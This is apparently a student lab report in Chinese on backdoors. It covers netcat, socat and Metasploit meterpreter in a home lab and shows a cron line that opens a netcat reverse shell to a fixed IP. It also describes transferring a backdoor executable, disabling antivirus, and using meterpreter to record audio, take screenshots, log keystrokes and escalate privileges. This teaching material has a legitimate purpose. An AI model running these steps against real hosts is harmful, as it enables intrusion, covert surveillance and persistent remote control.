zoukankan      html  css  js  c++  java
  • 后门原理与实践

    一、实验原理

    ·工具

    Netcat:实验中用于监听、连接端口,获取shell

    命令 作用
    -l 监听模式,用于入站连接
    -p port 打开本地端口

    Socat:可以看做是 Netcat 的加强版,在两个数据流之间建立通道,且支持众多协议和链接方式,实验中用于连接远程端口,获取shell。

    命令格式:socat [options] <address> <address>

    其中socat 所做的工作就是在 2 个 address 指定的描述符间建立一个 pipe 用于发送和接收数据,实验中的描述符是TCP,指的是建立一个TCP连接作为数据流。

    Meterpreter:可以用于生成后门程序的工具,常用命令如下:

    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即使用该编码器编码5次。
    -b badchar是payload中需要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型
    > 输出到哪个文件

    二、实验步骤

    (一)Windows和Linux间传递数据

    ·下载ncat软件

    官网下载ncat软件

    将nc.exe文件放入C盘的System32文件夹中

    ·传递数据

    Linux端的终端输入指令,5310端口进入监听状态,而在Windows端的cmd输入指令,其中的IP输入的是linux的IP地址,在linux终端输入sudo -s,获取root权限,然后输入ifconfig就可得到IP地址。

    在一端输入的数据就可以在另一端显示,如下:

    (二)Windows获得Linux的Shell

    ·查看Windows的IP地址

    在Windows端cmd输入ipconfig查看其IP

    ·利用ncat获取shell

    在Windows端输入指令,端口进入监听状态,Linux端反弹连接Windows,Windows获得Linux的shell,输入ls,可以查看到Linux的相关文件,由于此时Linux的终端进入了共享文件,因此可以看到上次实验建立的共享文件。

    (三)Linux获取Windows的shell

    ·查看Linux端的IP地址

    在Linux终端输入sudo -s,获取root权限,然后输入ifconfig得到IP地址

    ·利用ncat获取shell

    在Linux端输入指令,端口进入监听状态,在Windows端输入指令反弹连接LInux端,在Linux端输入Windows的shell指令,可以运行,如下:

    (四)利用cronat定时启动

    在Windows输入nc.exe -l -p 5301

    在终端输入crotab -e,选择第三个编辑器,在最后一行加入20 * * * * /bin/netcat 192.168.3.26 5215 -e /bin/sh,表示在每小时的20分钟启动反向连接,到达时间后cmd端输入linux的shell命令,如下:

    (五)利用socat获取shell

    ·下载socat压缩包

    在windows端下载socat压缩包

    ·创建计算机任务

    在Windows打开我的电脑,点击计算机下的管理,在任务计划程序下,选择任务计划程序库,选择创建任务。

    在任务中填写任务名,新建触发器并默认装置,新建操作,其中程序或脚本中选择socat所在的文件夹。

    其中,5215是端口名,完成好,可以在任务列表发现这个任务,并且选择运行。

    ·关闭Linux防火墙

    在终端输入指令sudo apt-get install ufw和sudo ufw disable,关闭防火墙。

    ·利用socat连接Windows

    在Linux端输入指令,获取Windows的shell,如下:

    (六)使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机shell

    ·生成后门程序

    在Linux端输入sudo gem install bundler:1.17.3,再输入以下指令,生成后门文件,如下:

    ·将文件传到Windows端

    在Windows端输入nc.exe -lv -p 5215 > 20174301_backdoor.exe,在Linux端输入nc 192.168.1.103 5215 < 20174301_backdoor.exe,Windows端发现后门文件传过去了,如下:

    ·利用msf获取shell

    输入msfconsole进入msf控制台,输入指令,其中设置端口为5215,输入exploit开始监听,如下:

    在Windows端关闭防火墙,关闭Defender实时保护,退出杀毒软件,点击运行后门软件。

    打开终端,得到shell,如下:

     

    (七)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

     ·使用record_mic指令截获一段音频

    ·使用screenshot指令可以进行截屏

    ·使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

     

    ·先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:

    三、思考与回答

    ·例举你能想到的一个后门进入到你系统中的可能方式?

    在打开某些网页时,后门程序被安装进电脑。

    ·例举你知道的后门如何启动起来(win及linux)的方式?

    可以通过netcat监听,用cron定时连接windows,并获取shell

    使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    修改Windows注册表

    ·Meterpreter有哪些给你映像深刻的功能?

    可以远程控制主机进行截屏、开启摄像头等操作。

    ·如何发现自己有系统有没有被安装后门?

    安装杀毒软件,出现一些陌生文件,查看端口通信情况

     

  • 相关阅读:
    Windows 2012 安装 SQL Server 2012,.Net Framework 3.5安装不成的解决办法
    HTML+CSS 对于英文单词强制换行但不截断单词的解决办法
    删除N天前的文件(夹)与拷贝文件到共享盘的批处理
    npm 常用命令
    使用scrapy crawl name启动一个爬虫时出现的问题
    anaconda和pycharm环境交叉的现象
    list和range()函数中使用反向索引的方法
    关于一些术语的解释
    关于assert和de-assert的解释
    搭建eclipse4.6(neon) + Pydev5.8.0 + python3.6(小版本3.6.1)
  • 原文地址:https://www.cnblogs.com/4301xn/p/12518452.html
Copyright © 2011-2022 走看看